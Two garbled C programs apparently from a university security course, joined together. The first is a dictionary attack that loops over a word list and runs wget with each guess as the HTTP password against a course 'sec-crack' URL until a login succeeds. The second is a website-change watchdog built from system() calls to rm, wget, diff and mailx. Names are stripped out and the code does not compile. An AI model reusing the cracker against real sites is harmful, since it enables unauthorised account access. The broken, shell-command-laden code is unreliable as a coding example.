#include "stdio.h"
#include "string.h"


#include "stdlib.h"
()
{
FILE *pfile;
int i,t,tt,num,not;
char str[255];
char [4];
char url[400];
if ((pfile = fopen("./words", "r")) == NULL)
           fprintf(stderr, "Cannot open %s\n", "output_file");

tt=time(&(t));
not=0;	   
while (!feof(pfile))
{
strcpy(str,"");
fgets(str,80,pfile);
if (strlen(str)<=4)
{
	
			strcpy(,str);
		        strcpy(url,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");
			
			strcat(url," --http-user= --http-passwd=");
			strcat(url,); 
			
		    	num=system(url);
			not++;
			if (num==0)
			
			{
				printf("The actual password is :%s\n",);
				time(&(t));
				tt=t-tt;
				printf("The number of attempts  crack the passssword by dictionary method is :%d\n",not);
				printf("The time_var taken  find the password by dictionary method is :%d seconds\n",tt);
				exit(1);
				
			}
						
			else
			{
			strcpy(,"");
			}
	
		
}


}


}

#include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>

int ()
{

 FILE *fp;
 char [100];
 int flag = 0;
 system("rm index.html*");
 system("wget http://www.cs.rmit.edu./students/");
 system("wget -p --convert-links http://www.cs.rmit.edu./students/");
 system("mv index.html index1.html");
 sleep(8640);
 system("wget http://www.cs.rmit.edu./students/");
 system("wget -p --convert-links http://www.cs.rmit.edu./students/");

 system("diff index1.html index.html > out.txt");

 fp = fopen("out.txt","r");

 if (fgets(,100,fp) != NULL)
 {

   flag = 1;
   printf("\nThere  changes in the website.Check your mail\n");
   system("mailx -s \"output of watchdog\"  < out.txt");

 }

  if(flag == 0 )
   printf("\n    changes in the website\n ");
 fclose(fp);
 exit(1);

 }














